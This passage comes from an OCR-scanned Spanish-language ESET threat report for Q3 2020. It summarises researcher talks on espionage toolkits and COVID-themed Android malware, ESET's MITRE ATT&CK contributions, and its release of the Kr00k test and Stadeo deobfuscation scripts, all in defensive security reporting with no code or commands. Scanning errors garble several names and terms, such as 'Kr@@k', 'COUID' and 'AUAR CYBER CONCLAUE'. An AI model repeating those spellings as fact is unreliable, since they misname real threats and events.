el impacto en su red y le brinden la resistencia necesaria.

Ramsay: Un kit de herramientas de ciberespionaje disefAado para atacar redes aisladas por barreras de
qire [68]

En su presentacion en UB2020, el investigador de malware de ESET Ignacio Sanmillan abordd los as-
pectos tecnicos de Ramsay, un conjunto de herramientas de ciberespionaje descubierto en marzo de
2020 que fue disefado especificamente para robar documentos y operar dentro de redes aisladas
(air-gapped). Su charla documentd las capacidades centrales de Ramsay, asi como las coincidencias
en artefactos y codigos descubiertas entre este kit de herramientas y la amenaza persistente avan-
zada DarkHotel.

InvisiMole: Persistencia de primera clase a través de exploits de sequnda clase [69]

La ihvestigadora de malware de ESET Zuzana Hromcova hablo en UB2020 sobre los hallazgos de una
extensa investigacion sobre la ultima operacion de InvisiMole, un actor de amenazas conocido an-
teriormente por su participacion en operaciones de ciberespionaje altamente selectivas en Europa
del Este. Su presentacion actualizo a la audiencia de UB sobre el conjunto de herramientas actual
de InvisiMole y lleno los vacios anteriores sobre las téecnicas de entrega, persistencia y movimiento

lateral utilizadas por este actor, asi como su cooperacion con el grupo Gamaredon.
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https://vblocalhost.com/presentations/invisimole-first-class-persistence-through-second-class-exploits/

Conferencia Uirus Bulletin 2020 Localhost CARO 2020

Cibercrimen financiero en LATAM: Los competidores en el delito comparten tacticas, téecnicas y proced-
imientos (TTP) [70]

En las conferencias virtuales UB2020 y CARO 2020 de este ano, el analista de malware de ESET Jakub
Sou ek y el ingeniero de deteccion de ESET Martin Jirkal analizaron en profundidad la situacion ac-
tual de los troyanos bancarios latinoamericanos. La charla se centro en la sospecha de una estrecha

coordinacion entre las distintas familias y en su expansion desde Latinoamerica a Espafia y Portugal.

DEF CON 28 SAFE MODE

Exploracion de vulnerabilidades en los juguetes sexuales inteligentes; el lado excitante de la investi-

gacion de la IoT

En la conferencia virtual DEF CON 28 SAFE MODE, las investigadoras de seguridad de ESET Latinoameéri-
ca Denise Giusto Bilic y Cecilia Pastorino hablaron sobre la seqguridad de las aplicaciones de Android
que controlan los modelos mas comprados de juguetes sexuales con conexion a Internet. Su present-
acion describio las fallas de seguridad encontradas derivadas tanto de la implementacion de la apli-
cacion como del diseno de los dispositivos, lo que pone en peligro el almacenamiento y procesamien-

to de informacion privada.

AUAR CYBER CONCLAUE Ekoparty Online CONFidence Infoshare

Amenazas para Android sobre COUID-19 [71 Z [722

En los eventos virtuales AUAR CYBER CONCLAUE 2020, Ekoparty 2020, CONFidence 2020 e Infoshare
2020, el investigador de malware de ESET Lukas Stefanko presentd informacion general sobre diver-
sas amenazas para Android gue aprovechaban los temores de los usuarios sobre el COUID-19. Las ame-
nazas que describio se distribuyeron principalmente en la primera mitad de 2020 y se hacian pasar
por software para rastrear coronavirus, aplicaciones gubernamentales e identificadores de sinto-
mas. Su charla también incluyo demostraciones de un malware bancario distribuido en Italia y de un
ransomware para Android descubierto hace poco, los cuales intentaban aprovechar el miedo de la

gente durante la pandemia.

Contribuciones a MITRE ATT&CKTM

Los investigadores de ESET hacen contribuciones regulares a MITRE ATT&CK® [73], una base de conoci-

miento de tacticas y tecnicas maliciosas accesible a nivel mundial. En el tercer trimestre de 2020,
se aceptaron varias contribuciones de ESET para la base de conocimiento de ATT&CK:

nueva subtecnica en la matriz Empresas

extension a una subteécnica existente en la matriz Empresas
nueva contribucion a la categoria Software

nueva extension dentro de la categoria Software

]
[ e T T = Y SN

nueva extension dentro de la categoria Grupos

En la proxima actualizacion de ATT&CK, estas contribuciones se enumeraran entre las téecnicas para

Empresas [74] y en las categorias de Software [75] y Grupos [76].

La primera contribucion de ESET a la categoria Software se trata de PipeMon, un backdoor modular
de multiples etapas utilizado por el Grupo Winnti, reportado por primera vez por ESET [18] en mayo de

2020. E1 backdoor fue utilizado por el Grupo Winnti para atacar varias empresas de videojuegos con
sede en Corea del Sur y Taiwan.

El metodo de persistencia de PipeMon sento las bases para otra contribucion: una nueva subtecnica
de la técnica de ejecucidon automatica del arranque o inicio de sesion [(T1547]) [77], denominada Pro-

cesadores de impresion. Los investigadores de ESET descubrieron gue el Grupo Winnti ha utilizado
la clave de registro de “Procesadores de impresion” para lograr la persistencia de su backdoor Pi-
peMon. Los adversarios pueden usar esta técnica para cargar codigo malicioso durante el inicio del
sistema, que persistira en cada reinicio y se ejecutara como SYSTEM.

La categoria Software de ATT&CK también se ampliara con nueva informacion sobre InvisiMole (S0260)

[78], un software espia modular utilizado en operaciones de ciberespionaje selectivas en Ucrania y
Rusia. Los investigadores de ESET informaron por primera vez [79] sobre la existencia de InvisiMole

en 2018; dos arfios mas tarde, publicaron [80] un analisis detallado del conjunto de herramientas y las

tacticas, tecnicas y procedimientos del grupo. La actualizacion de la entrada esta basada en esta
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nueva investigacion, y le asigna mas de 40 tecnicas adicionales a InvisiMole. La investigacion genero
otra contribucion a la matriz Empresas: una subtecnica gque modifica la ejecucion de un proxy binario

firmado: Panel de control (T1218.002]) [81], y que se basa en el comportamiento observado durante el

analisis de InvisiMole.

La Ultima contribucion aceptada en el tercer trimestre de 2020 actualiza la entrada de ATT&CK para
el Grupo Gamaredon [(GOBE47] [82], un grupo de amenazas activo desde al menos 2013 y dirigido a ins-

tituciones ucranianas. En su reciente investigacidon [36] sobre el Grupo Gamaredon, los investigado-

res de ESET asigharon una serie de techicas adicionales a las actividades del grupo, que anterior-

mente no estaban incluidas en la entrada de Gamaredon.

Evaluaciones MITRE ATT&CK

ESET esta participando en las evaluaciones ATT&CK® [83] realizadas por MITRE ENGENUITY™ durante
noviembre de 2020. En esta evaluacion se utilizan 65 tecnicas ATT&CK para 11 tacticas ATT&CK. En-

tre ellas se incluyen 12 tecnicas ATT&CK para 7 tacticas ATT&CK gue corresponden a la evaluacion de
Carbanak para plataformas Linux.

En esta ronda de evaluaciones, se introdujeron algunas caracteristicas nuevas para emular los ata-
ques de las amenazas persistentes avanzadas de los grupos Carbanak y FIN?. Una novedad particular-
mente importante es la posibilidad de evaluar capacidades no solo en la categoria Detecciodn, sino
también en la categoria Proteccion. ESET es uno de los 18 fabricantes (de un total de 30) que se
inscribieron para realizar estas evaluaciones extendidas. Otra nueva incorporacion que vale la pena
mencionar es la comparacion en paralelo de los fabricantes para cada capacidad evaluada, lo que
permitira resaltar las diferencias entre dos soluciones seleccionadas con mayor facilidad. Esta ron-
da tambien incluye por primera vez sensores para endpoints Linux, mientras la mayoria de la ronda

de emulacion aun se centra en las plataformas Windows.

Otras contribuciones

Se divulgo el script de prueba para Kr@@k en GitHub

Luego de mas de cinco meses desde nuestra publicacion de la vulnerabilidad Kr@@k [1] (y varias prue-

bas de concepto publicadas por investigadores independientes), ESET decidid divulgar el script [84]
gue sus 1nvestigadores han estado usando para probar si los dispositivos son vulnerables a Krd@k.
Tambien hemos incluido pruebas para las variantes mas nuevas aqui descritas. Este script es util
para que los investigadores o los fabricantes de dispositivos puedan verificar que dispositivos es-
pecificos tengan el parche instalado y que ya no sean vulnerables.

Los 1nvestigadores de ESET obtuvieron el reconocimiento
de Microsoft por Kr@k

El Centro de Respuesta de Sequridad de Microsoft reconocid [85] a los investigadores Milo$ ermaky

Martin Kaluznik por su contribucion para corregir la vulnerabilidad Kr@0@0k.

Stadeo: Un conjunto de scripts publicados en GitHub para
facilitar el analisis de Stantinko

Los investigadores de ESET presentaron Stadeo: un conjunto de scripts que puede ayudar a otros
investigadores de amenazas e ingenieros inversos a descifrar el codigo de Stantinko [86] y otros

malware. Stantinko es una botnet que realiza fraudes de clics, inyeccion de anuncios, fraudes en re-
des sociales, ataques de robo de contraserias y extraccion de criptomonedas [87]. Stadeo se presentd

por primera vez en Black Hat USA 2020 y posteriormente se publicd para uso gratuito [88].

Los scripts, escritos en Python, utilizan tecnicas exclusivas de Stantinko para la ofuscacion de ca-
denas y el aplanamiento del control de flujo (CFF, del inglés), como se describen en nuestro blog
en marzo de 2020 [89]. Ademas, se pueden utilizar para otros fines: por ejemplo, ya hemos ampliado

nuestro enfoque para poder desofuscar la funcion CFF que aparece en Emotet, un troyano gque roba
credenciales bancarias y descarga payloads adicionales como ransomware.

Nuestros metodos de desofuscacion incluyen IDA [90], una herramienta estandar en la industria, y

Miasm [91], un marco de cddigo abierto, gue nos proporcionan varios analisis de flujo de datos, un

motor de ejecucion simbaolica, un motor de ejecucion simbolica dinhamica y los medios para reensam-
blar funciones modificadas.
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Acerca de los datos en este
i1nforme

Las estadisticas y tendencias de amenazas presentadas en este informe se basan en los datos de
telemetria globales recopilados por ESET. A menos que se indique explicitamente lo contrario, los
datos incluyen amenazas independientemente de la plataforma objetivo, e incluyen solo detecciones
diarias unicas por dispositivo.

Los datos se procesaron con la sincera intencion de mitigar todas las actitudes tendenciosas cono-
cidas y se hizo un esfuerzo por maximizar el valor de la informacion proporcionada sobre las amena-
zas activas mas importantes.

Ademas, los datos excluyen las detecciones de aplicaciones potencialmente no deseadas [92], aplica-

ciones potencialmente no sequras [93] y adware, excepto donde se indique lo contrario en las seccio-

nes mas detalladas especificas para cada plataforma y en la seccion sobre la extraccion de cripto-
monedas.

La mayoria de los graficos de este informe muestran tendencias de deteccion en lugar de proporcio-
nar numeros absolutos. Esto se debe a que los datos pueden ser propensos a diversas interpretacio-
nes erroneas, en especial cuando se comparan directamente con otros datos de telemetria. No obs-
tante, se proporcionan valores absolutos u ordenes de magnitud cuando se considera beneficioso.
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